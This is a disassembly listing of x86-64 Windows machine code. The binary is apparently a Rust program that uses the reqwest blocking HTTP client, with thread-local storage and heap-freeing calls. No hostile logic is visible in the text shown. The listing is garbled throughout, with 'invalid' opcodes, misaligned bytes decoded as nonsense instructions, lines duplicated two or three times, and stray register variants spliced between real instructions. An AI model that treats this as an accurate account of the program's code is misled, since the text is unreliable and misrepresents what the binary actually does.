movups xmmword [rax], xmm0
movaps xmm0, xmmword [rsp + 0x320]
movaps xmm1, xmmword [rsp + 0x330]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm1
mov rcx, qword [rsp + 0x340]
mov qword [rsp + 0x80], rcx
xor edi, edi
movq xmm7, rax
pslldq xmm7, 8
lea rax, [0x1401433e8]
test r13, r13
je 0x1400c5d0d
mov rbp, r13
mov r13, rax
mov rdx, r15
lea rbx, [rsp + 0x138]
lea r12, [rsp + 0x540]
mov rcx, r12
call fcn.140033850
movups xmm0, xmmword [0x140143bc0]
movaps xmmword [rsp + 0x330], xmm0
movups xmm0, xmmword [0x140143bb0]
movaps xmmword [rsp + 0x320], xmm0
lea rcx, [rsp + 0x3b0]
lea r8, [rsp + 0x320]
mov rdx, rbx
mov r9, r12
call fcn.14004ec10
cmp byte [rsp + 0x3d0], 3
je 0x1400c632f
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x340], rax
movups xmm0, xmmword [rsp + 0x3b0]
movups xmm1, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0x330], xmm1
movaps xmmword [rsp + 0x320], xmm0
cmp al, 2
je 0x1400c527b
lea rcx, [rsp + 0x338]
mov rax, qword [rsp + 0x320]
mov rdx, qword [rsp + 0x328]
mov r8, qword [rsp + 0x330]
call qword [rax + 0x10]
mov r12, qword [rsp + 0x110]
test r12, r12
je 0x1400c5295
lea rcx, [rsp + 0x118]
call fcn.14005b7d0
mov qword [rsp + 0x110], 1
movdqu xmmword [rsp + 0x118], xmm7
mov qword [rsp + 0x128], r13
mov qword [rsp + 0x130], rdi
mov r12d, 1
lea rcx, [rsp + 0x5f8]
mov r8d, 0x88
lea rdx, [rsp + 0x118]
call fcn.140106530
mov r13, qword [rsp + 0x1a0]
mov rbx, qword [rsp + 0x1a8]
mov eax, dword [rsp + 0x1b0]
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x1b4]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x1b8]
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x1bc]
mov dword [rsp + 0x40], eax
movzx eax, word [rsp + 0x1c0]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x1c2]
mov word [rsp + 0x32], ax
mov eax, dword [rsp + 0x1c4]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x1cc]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x1d0]
mov dword [rsp + 0x54], eax
movzx eax, byte [rsp + 0x1e8]
mov byte [rsp + 0x2e0], al
mov eax, dword [rsp + 0x1ec]
mov dword [rsp + 0xeb], eax
mov eax, dword [rsp + 0x1e9]
mov dword [rsp + 0xe8], eax
mov eax, dword [rsp + 0x21c]
mov dword [rsp + 0x5f0], eax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x510], rax
mov eax, dword [rsp + 0x1d4]
mov dword [rsp + 0x44], eax
movups xmm0, xmmword [rsp + 0x1d8]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x500], xmm1
movaps xmmword [rsp + 0x4f0], xmm0
movdqu xmmword [rsp + 0x518], xmm6
mov qword [rsp + 0x528], rbp
mov rdi, qword [rsp + 0x1f0]
mov qword [rsp + 0x530], r15
mov ebp, dword [rsp + 0x1f8]
movups xmm0, xmmword [rsp + 0x1fc]
movups xmm1, xmmword [rsp + 0x20c]
movaps xmmword [rsp + 0x5e0], xmm1
movaps xmmword [rsp + 0x5d0], xmm0
test rbx, rbx
je 0x1400c544d
js 0x1400c61b9
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbx
call fcn.1400df910
test rax, rax
je 0x1400c61be
mov rcx, rax
jmp 0x1400c5452
mov ecx, 1
mov qword [rsp + 0xd8], rcx
mov rdx, r13
mov r8, rbx
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0x2b0], xmm0
movzx eax, byte [rsp + 0x2e0]
mov byte [rsp + 0x2c0], al
mov r14d, ebp
mov rax, rdi
cmp ebp, 0x3b9aca00
jne 0x1400c54a0
mov r14d, dword [rsi + 0x148]
mov rax, qword [rsi + 0x140]
mov qword [rsp + 0x100], rax
mov rax, qword [rsi + 0x138]
mov qword [rsp + 0x88], rax
mov r15, qword [rax + 0x10]
test r15, r15
je 0x1400c6189
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x5f8]
mov r8d, 0x88
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0x60], xmm0
movzx eax, byte [rsp + 0x2e0]
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0xe8]
mov ecx, dword [rsp + 0xeb]
mov dword [rsp + 0x2f0], eax
mov dword [rsp + 0x2f3], ecx
movaps xmm0, xmmword [rsp + 0x5d0]
movaps xmm1, xmmword [rsp + 0x5e0]
movaps xmmword [rsp + 0x540], xmm0
movaps xmmword [rsp + 0x550], xmm1
mov eax, dword [rsp + 0x5f0]
mov dword [rsp + 0x560], eax
mov rax, qword [r15 + 0x1c0]
mov dword [rsp + 0xac], r14d
nop word cs:[rax + rax]
test al, 1
jne 0x1400c5781
cmp rax, 0xfffffffffffffffe
je 0x1400c63a1
lea rcx, [rax + 2]
lock cmpxchg qword [r15 + 0x1c0], rcx
jne 0x1400c5560
lea rcx, [r15 + 0x80]
mov r14d, 1
mov esi, 1
lock xadd qword [r15 + 0x88], rsi
mov rdx, rsi
call fcn.140065900
mov dword [rsp + 0x108], ebp
mov qword [rsp + 0xa0], rdi
mov rdi, rbx
mov rbp, r13
mov r13, rax
and esi, 0x1f
imul rbx, rsi, 0x118
mov qword [rax + rbx], r12
lea rcx, [rax + rbx]
add rcx, 8
lea rdx, [rsp + 0x110]
mov r8d, 0x88
call fcn.140106530
mov qword [r13 + rbx + 0x90], rbp
add byte [rcx - 0x77], cl
cld
add byte [rcx - 0x77], cl
cld
mov qword [r13 + rbx + 0x98], rdi
mov eax, dword [rsp + 0x34]
mov dword [r13 + rbx + 0xa0], eax
mov eax, dword [rsp + 0x38]
mov dword [r13 + rbx + 0xa4], eax
mov eax, dword [rsp + 0x3c]
mov dword [r13 + rbx + 0xa8], eax
mov eax, dword [rsp + 0x40]
mov dword [r13 + rbx + 0xac], eax
movzx eax, word [rsp + 0x30]
mov word [r13 + rbx + 0xb0], ax
movzx eax, word [rsp + 0x32]
mov word [r13 + rbx + 0xb2], ax
mov eax, dword [rsp + 0x48]
mov dword [r13 + rbx + 0xb4], eax
mov eax, dword [rsp + 0x4c]
mov dword [r13 + rbx + 0xb8], eax
mov eax, dword [rsp + 0x50]
mov dword [r13 + rbx + 0xbc], eax
mov eax, dword [rsp + 0x54]
mov dword [r13 + rbx + 0xc0], eax
mov eax, dword [rsp + 0x44]
mov dword [r13 + rbx + 0xc4], eax
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [r13 + rbx + 0xc8], xmm0
movzx eax, byte [rsp + 0x70]
mov byte [r13 + rbx + 0xd8], al
mov byte [rbp + rbx + 0xd8], al
mov byte [rbp + rbx + 0xd8], al
mov eax, dword [rsp + 0x2f0]
mov ecx, dword [rsp + 0x2f3]
mov dword [r13 + rbx + 0xd9], eax
mov dword [rbp + rbx + 0xd9], eax
mov dword [rbp + rbx + 0xd9], eax
mov dword [r13 + rbx + 0xdc], ecx
mov rax, qword [rsp + 0xa0]
mov qword [r13 + rbx + 0xe0], rax
mov eax, dword [rsp + 0x108]
mov dword [r13 + rbx + 0xe8], eax
movaps xmm0, xmmword [rsp + 0x540]
movaps xmm1, xmmword [rsp + 0x550]
movups xmmword [r13 + rbx + 0xec], xmm0
movups xmmword [r13 + rbx + 0xfc], xmm1
mov eax, dword [rsp + 0x560]
mov dword [r13 + rbx + 0x10c], eax
mov rax, qword [rsp + 0xe0]
mov qword [r13 + rbx + 0x110], rax
mov ecx, esi
shl r14, cl
lock or qword [r13 + 0x2310], r14
mov rax, qword [r15 + 0x110]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r15 + 0x110], rcx
jne 0x1400c5730
test rax, rax
mov r14d, dword [rsp + 0xac]
jne 0x1400c5779
mov rax, qword [r15 + 0x100]
add byte [rcx], al
add byte [rax], al
mov rcx, qword [r15 + 0x108]
mov qword [r15 + 0x100], 0
lock and qword [r15 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400c5779
call qword [rax + 8]
mov rbx, r12
jmp 0x1400c5809
lea rcx, [rsp + 0x3b0]
lea rdx, [rsp + 0x110]
mov r8d, 0x88
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xb0], xmm0
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0xc0], al
mov eax, dword [rsp + 0x2f0]
mov ecx, dword [rsp + 0x2f3]
mov dword [rsp + 0xf0], eax
mov dword [rsp + 0xf3], ecx
movaps xmm0, xmmword [rsp + 0x540]
movaps xmm1, xmmword [rsp + 0x550]
movaps xmmword [rsp + 0x320], xmm0
movaps xmmword [rsp + 0x330], xmm1
mov eax, dword [rsp + 0x560]
mov dword [rsp + 0x340], eax
cmp r12, 2
jne 0x1400c61cb
mov r15, qword [rsp + 0x528]
cmp r15, 2
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0xa0], r15
je 0x1400c5834
cmp r14d, 0x3b9aca00
jne 0x1400c584b
mov ebp, 0x3b9aca00
jmp 0x1400c58a3
cmp r14d, 0x3b9aca00
jne 0x1400c5a33
mov ebp, 0x3b9aca00
jmp 0x1400c5a8e
call fcn.1400df770
add rax, qword [rsp + 0x100]
jb 0x1400c61a1
mov ebp, edx
add ebp, r14d
cmp ebp, 0x3b9aca00
jb 0x1400c58a3
inc rax
je 0x1400c61a1
add ebp, 0xc4653600
cmp ebp, 0x3b9aca00
jb 0x1400c58a3
mov ecx, ebp
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x1400c635b
imul ecx, ecx, 0x3b9aca00
sub ebp, ecx
mov qword [rsp + 0x108], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
je 0x1400c58ff
test eax, eax
jne 0x1400c6162
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xc0]
lea rdx, [0x1400d46e0]
call fcn.1400d4720
mov byte [rsi + 0xc8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xc0]
test rsi, rsi
je 0x1400c60ff
lock inc qword [rsi]
jle 0x1400c77e1
test rsi, rsi
je 0x1400c6162
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c719a
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
lea rax, fcn.1400bfae0
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rcx
add byte [rax], al
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x110], rax
movaps xmm0, xmmword [rsp + 0x4f0]
movaps xmm1, xmmword [rsp + 0x500]
movaps xmm2, xmmword [rsp + 0x510]
movaps xmm3, xmmword [rsp + 0x520]
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm1
movups xmmword [rsp + 0x138], xmm2
movups xmmword [rsp + 0x148], xmm3
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x158], rax
mov byte [rsp + 0x161], 0
lea r13, [rsp + 0x168]
lea r14, [rsp + 0x1b0]
xor eax, eax
movzx eax, al
lea r15, [0x140178b08]
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
call fcn.1400df770
mov rsi, rax
add rsi, qword [rsp + 0x100]
jb 0x1400c61a1
and al, 0
add dword [rax], eax
add byte [rdi], cl
invalid
mov ebp, edx
add ebp, r14d
cmp ebp, 0x3b9aca00
jb 0x1400c5a8e
inc rsi
je 0x1400c61a1
add ebp, 0xc4653600
cmp ebp, 0x3b9aca00
jb 0x1400c5a8e
mov eax, ebp
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add rsi, rax
jb 0x1400c635b
imul eax, eax, 0x3b9aca00
sub ebp, eax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
je 0x1400c5ae2
test eax, eax
jne 0x1400c6162
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xc0]
lea rdx, [0x1400d46e0]
call fcn.1400d4720
add byte [rax], al
add byte [rax], al
mov byte [rdi + 0xc8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xc0]
test rdi, rdi
test edi, edi
test edi, edi
je 0x1400c612d
lock inc qword [rdi]
jle 0x1400c77e1
test rdi, rdi
je 0x1400c6162
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c719a
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rdi
lea rax, fcn.1400bfae0
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rcx
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x540], rax
mov qword [rsp + 0x548], rax
mov qword [rsp + 0x550], 0
push rax
add eax, 0
add byte [rax], al
push rax
add eax, 0
add byte [rax], al
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x60], rax
lea r14, [rsp + 0x68]
mov byte [rsp + 0x70], 0
cmp ebp, 0x3b9aca00
jne 0x1400c5c2c
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x110]
lea r8, [rsp + 0x540]
mov rdx, r14
call fcn.1400c4760
mov r12, qword [rsp + 0x110]
cmp r12, 5
jne 0x1400c5def
mov byte [rsp + 0x70], 3
lea rsi, [rsp + 0x110]
lea rbx, [rsp + 0x540]
nop word cs:[rax + rax]
call fcn.1400d6c90
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call fcn.1400c4760
mov r12, qword [rsp + 0x110]
cmp r12, 5
jne 0x1400c5def
mov byte [rsp + 0x70], 3
jmp 0x1400c5c00
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x110]
lea r8, [rsp + 0x540]
add byte [rcx + rcx*4 - 0xe], cl
add byte [rcx + rcx*4 - 0xe], cl
call fcn.1400c4760
mov r12, qword [rsp + 0x110]
cmp r12, 5
jne 0x1400c5def
mov byte [rsp + 0x70], 3
call fcn.1400df770
add byte [rcx - 0x77], al
sal byte [rcx], 1
leave
add byte [rcx - 0x77], al
sal byte [rcx], 1
leave
cmp rax, rsi
setne cl
mov ebx, 0xff
cmovb ecx, ebx
xor r13d, r13d
cmp edx, ebp
mov edx, 0
add byte [rcx], bl
rol byte [rcx + rcx*8 - 0x7f2ebaf1], cl
cli
add cl, byte [rdi]
invalid
mov dword [rax], eax
add byte [rax], al
add byte [rcx], bl
rol byte [rcx + rcx*8 - 0x7f2ebaf1], cl
cli
add cl, byte [rdi]
or dword [rcx + 0x48000000], 0xffffff8b
je 0x1400c5cbf
mov rsi, qword [rsp + 0x68]
mov r12d, 4
add al, 0
add byte [rax], al
push 0x4bc41
add al, 0
add byte [rax], al
test rsi, rsi
je 0x1400c60db
mov rax, qword [rsi + 0x30]
mov rbp, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x98]
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x88]
add byte [rax], al
add byte [rdi], cl
invalid
invalid
invalid
add byte [rax], al
add byte [rdi], cl
invalid
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c5cd0
and eax, 0xa
cmp eax, 8
jne 0x1400c5cf2
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
sbb bh, bh
push rax
invalid
sbb bh, bh
push rax
adc al, dh
dec qword [rsi]
lock dec qword [rsi]
jne 0x1400c615b
mov rcx, qword [rsp + 0x68]
call fcn.1400bf9b0
stosb byte [rdi], al
pushfq
invalid
push qword [rcx]
imul cl
mov al, byte [rcx]
add byte [rax], al
stosb byte [rdi], al
pushfq
invalid
xor ebp, ebp
mov r13, rax
test r12, r12
jne 0x1400c5288
test dword [rbp - 0xb], ebp
invalid
invalid
test dword [rbp - 0xb], ebp
invalid
jmp 0x1400c5295
mov qword [rsp + 0x110], rsi
mov dword [rsp + 0x118], ebp
lea r15, [rsp + 0x110]
mov rcx, r15
mov rdx, rax
call fcn.1400d5b50
cmp edx, 0x3b9aca00
cmove edx, r13d
mov ecx, 0
cmovne rcx, rax
call fcn.1400d6e00
lea rdi, [rsp + 0x540]
nop word cs:[rax + rax]
mov rcx, r15
mov rdx, r14
mov r8, rdi
call fcn.1400c4760
mov r12, qword [rsp + 0x110]
cmp r12, 5
cmp esp, 5
cmp esp, 5
jne 0x1400c5def
mov byte [rsp + 0x70], 3
call fcn.1400df770
mov r8d, edx
xor ecx, ecx
and al, 0x70
add ebp, eax
ficomp dword [rcx - 0x76beffff]
sal byte [rcx], 1
leave
cmp rax, rsi
setne cl
cmovb ecx, ebx
cmp edx, ebp
mov edx, 0
sbb edx, edx
test cl, cl
cmovne edx, ecx
rol dword [rax - 0x7df0fd06], 1
fdiv st(6), st(0)
invalid
invalid
rol dword [rax - 0x7df0fd06], 1
fdiv st(6), st(0)
invalid
mov qword [rsp + 0x110], rsi
mov dword [rsp + 0x118], ebp
mov rcx, r15
mov rdx, rax
call fcn.1400d5b50
cmp edx, 0x3b9aca00
cli
add dl, cl
invalid
cmp eax, dword [rcx + 0xf]
invalid
invalid
mov ecx, 0
cmovne rcx, rax
call fcn.1400d6e00
jmp 0x1400c5d70
cli
add dl, cl
invalid
mov rsi, qword [rsp + 0x118]
lea rdx, [rsp + 0x120]
and byte [rcx], al
add byte [rax], al
and al, 0x18
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x20
and byte [rcx], al
add byte [rax], al
lea rcx, [rsp + 0x3b0]
mov r8d, 0x88
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
lea rcx, [rsp + 0x3b0]
mov r8d, 0x88
add byte [rax], al
invalid
add byte [rax], al
add al, ch
invalid
call fcn.140106530
mov rdi, qword [rsp + 0x68]
mov edi, dword [rsp + 0x68]
mov edi, dword [rsp + 0x68]
test rdi, rdi
mov rbp, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x98]
cwde
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x58
cwde
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x58
mov r15, qword [rsp + 0x88]
je 0x1400c5e72
add byte [rcx + rdi + 0x48], dh
mov eax, dword [rdi + 0x30]
mov rax, qword [rdi + 0x30]
nop dword [rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x1400c5e40
and eax, 0xa
cmp eax, 8
jne 0x1400c5e62
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c5e72
mov rcx, qword [rsp + 0x68]
call fcn.1400bf9b0
cmp r12d, 4
je 0x1400c77e3
lea rcx, [rsp + 0x320]
lea rdx, [rsp + 0x3b0]
lea edx, [rsp + 0x3b0]
lea edx, [rsp + 0x3b0]
mov r8d, 0x88
call fcn.140106530
invalid
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb8]
call qword [rax + 0x18]
cmp r12d, 3
cmp esp, 3
cmp esp, 3
je 0x1400c7651
cmp r12d, 4
jne 0x1400c5f8c
invalid
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
test byte [rax - 0x75], 0xbc
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
test byte [rax + 1], al
add byte [rax], al
invalid
test rsi, rsi
mov rdi, qword [rsp + 0xa0]
je 0x1400c600f
invalid
add byte [rdi], cl
mov dh, 0x84
and al, 0xc0
add al, byte [rax]
add byte [rax + 0x1202484], cl
add byte [rax], al
movzx eax, byte [rsp + 0x2c0]
mov byte [rsp + 0x120], al
movaps xmm0, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0x110], xmm0
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
shl rax, 1
test rax, rax
je 0x1400c5f0c
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
or byte [rax - 0x75], r9b
or eax, 0xbc35c
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], r14
mov rax, qword [rsp + 0xd8]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r14
mov eax, dword [rsp + 0x34]
mov dword [rsi + 0x18], eax
mov eax, dword [rsp + 0x38]
mov dword [rsi + 0x1c], eax
mov eax, dword [rsp + 0x3c]
mov dword [rsi + 0x20], eax
mov eax, dword [rsp + 0x40]
mov dword [rsi + 0x24], eax
movzx eax, word [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rsi - 0x77], ah
sub byte [rdi], r9b
mov bh, 0x44
and al, 0x32
mov word [rsi + 0x28], ax
movzx eax, word [rsp + 0x32]
mov word [rsi + 0x2a], ax
mov eax, dword [rsp + 0x48]
mov dword [rsi + 0x2c], eax
sub al, 0x8b
and al, 0x4c
sub al, 0x8b
and al, 0x4c
mov dword [rsi + 0x30], eax
mov eax, dword [rsp + 0x50]
mov dword [rsi + 0x34], eax
mov eax, dword [rsp + 0x54]
mov dword [rsi + 0x38], eax
mov eax, dword [rsp + 0x44]
mov dword [rsi + 0x3c], eax
movaps xmm0, xmmword [rsp + 0x110]
movups xmmword [rsi + 0x40], xmm0
movzx eax, byte [rsp + 0x120]
mov byte [rsi + 0x50], al
jmp 0x1400c60c2
lock inc qword [r15]
jle 0x1400c77e1
mov qword [rbx], r12
mov qword [rbx + 8], rsi
lea rcx, [rbx + 0x10]
lea rdx, [rsp + 0x320]
mov r8d, 0x88
call fcn.140106530
mov rax, qword [rsp + 0x100]
mov qword [rbx + 0x98], rax
mov eax, dword [rsp + 0xac]
mov dword [rbx + 0xa0], eax
mov qword [rbx + 0xa8], 0
mov qword [rbx + 0xb8], r15
test r14, r14
mov rdi, qword [rsp + 0xa0]
je 0x1400c7730
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rsp + 0xd8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c7730
ret 0xb
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c6ea4
mov rsi, rax
mov qword [rax + 0x58], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rax, [0x14013e068]
mov qword [rsi + 0x60], rax
mov word [rsi + 0x68], 1
mov qword [rsi], r14
mov rax, qword [rsp + 0xd8]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r14
mov eax, dword [rsp + 0x34]
mov dword [rsi + 0x18], eax
mov eax, dword [rsp + 0x38]
mov dword [rsi + 0x1c], eax
mov eax, dword [rsp + 0x3c]
mov dword [rsi + 0x20], eax
mov eax, dword [rsp + 0x40]
mov dword [rsi + 0x24], eax
mov dword [rsi + 0x24], eax
movzx eax, word [rsp + 0x30]
mov word [rsi + 0x28], ax
movzx eax, word [rsp + 0x32]
and al, 0x32
and al, 0x32
mov word [rsi + 0x2a], ax
mov eax, dword [rsp + 0x48]
mov dword [rsi + 0x2c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsi + 0x30], eax
mov eax, dword [rsp + 0x50]
mov dword [rsi + 0x34], eax
mov eax, dword [rsp + 0x54]
mov dword [rsi + 0x38], eax
mov eax, dword [rsp + 0x44]
mov dword [rsi + 0x3c], r8d
mov dword [rsi + 0x3c], r8d
movzx eax, byte [rsp + 0x2c0]
mov byte [rsi + 0x50], al
movaps xmm0, xmmword [rsp + 0x2b0]
sub byte [rsp + 0x2b0], al
sub byte [rsp + 0x2b0], al
movups xmmword [rsi + 0x40], xmm0
mov eax, dword [rsp + 0x3b0]
mov ecx, dword [rsp + 0x3b3]
mov dword [rsi + 0x51], eax
push rcx
mov dword [rsi + 0x54], ecx
jmp 0x1400c7725
invalid
invalid
add byte [rax], al
invalid
xor esi, esi
mov rbp, qword [rsp + 0x90]
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x58
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x58
mov r15, qword [rsp + 0x88]
jmp 0x1400c5e97
add byte [rax], al
add cl, ch
cwde
std
invalid
call fcn.140110220
add al, 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
ret 0xb
add byte [rax - 0x75], cl
add al, 0xc1
mov rsi, qword [rax + 0xc0]
lock inc qword [rsi]
jg 0x1400c592c
invalid
invalid
invalid
jmp 0x1400c77e1
call fcn.140110220
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xc0]
lock inc qword [rdi]
jg 0x1400c5b0f
jmp 0x1400c77e1
xor esi, esi
jmp 0x1400c5e97
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea ecx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
or byte [rax], al
lea r8, [0x140149a00]
mov edx, 0x5e
call fcn.140108990
mov ecx, 8
mov edx, 0xd0
call fcn.1401082c0
add al, 0
add al, 0
lea rcx, str.core_thread_exited_early
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
mov edx, 0x18
call fcn.140108990
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x14014a670]
add eax, 0x844c1
add eax, 0x844c1
rol dword [rax + rcx], 0xba
sub byte [rax], al
add byte [rax], al
mov edx, 0x28
call fcn.140108990
call fcn.140010970
mov ecx, 1
mov rdx, rbx
call fcn.1401082a0
invalid
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x10
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rbx], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xb0
add eax, dword [rax]
add byte [rcx - 0x48], al
mov byte [rax], al
add byte [rax], al
mov qword [rsp + 0x110], r12
lea rcx, [rsp + 0x118]
lea rdx, [rsp + 0x3b0]
mov r8d, 0x88
call fcn.140106530
mov qword [rsp + 0x1a0], r13
mov qword [rsp + 0x1a8], rbx
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x1b0], eax
test byte [rax + rsi*4], ah
add dword [rax], eax
add byte [rbx - 0x76c7dbbc], cl
test byte [rsp + rsi*4], ah
add dword [rax], eax
add byte [rbx - 0x76c3dbbc], cl
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rbx - 0x76bfdbbc], cl
test byte [rsp + rdi*4], ah
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x44
and al, 0x30
mov word [rsp + 0x1c0], ax
movzx eax, word [rsp + 0x32]
add byte [rdi], cl
mov bh, 0x44
and al, 0x32
mov word [rsp + 0x1c2], ax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x1c4], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x1c8], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x1cc], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x1d0], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x1d4], eax
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rsp + 0x1d8], xmm0
add byte [rdi], cl
mov dh, 0x84
and al, 0xc0
add byte [rax], al
add byte [rax + 0x1e82484], cl
add byte [rax], al
add byte [rdi], cl
mov dh, 0x84
and al, 0xc0
add byte [rax], al
add byte [rax + 0x1e82484], cl
add byte [rax], al
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x1e9], eax
mov eax, dword [rsp + 0xf3]
mov dword [rsp + 0x1ec], eax
mov qword [rsp + 0x1f0], rdi
lock add dword [rax], eax
add dword [rax], eax
add byte [rcx + 0x1f824ac], cl
add byte [rax], al
add dword [rax], eax
add byte [rcx + 0x1f824ac], cl
add byte [rax], al
mov eax, dword [rsp + 0x340]
mov dword [rsp + 0x21c], eax
movaps xmm0, xmmword [rsp + 0x320]
and al, 0x1c
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x320], al
movaps xmm1, xmmword [rsp + 0x330]
movups xmmword [rsp + 0x1fc], xmm0
add byte [rdi], cl
adc dword [rsp + 0x1fc], eax
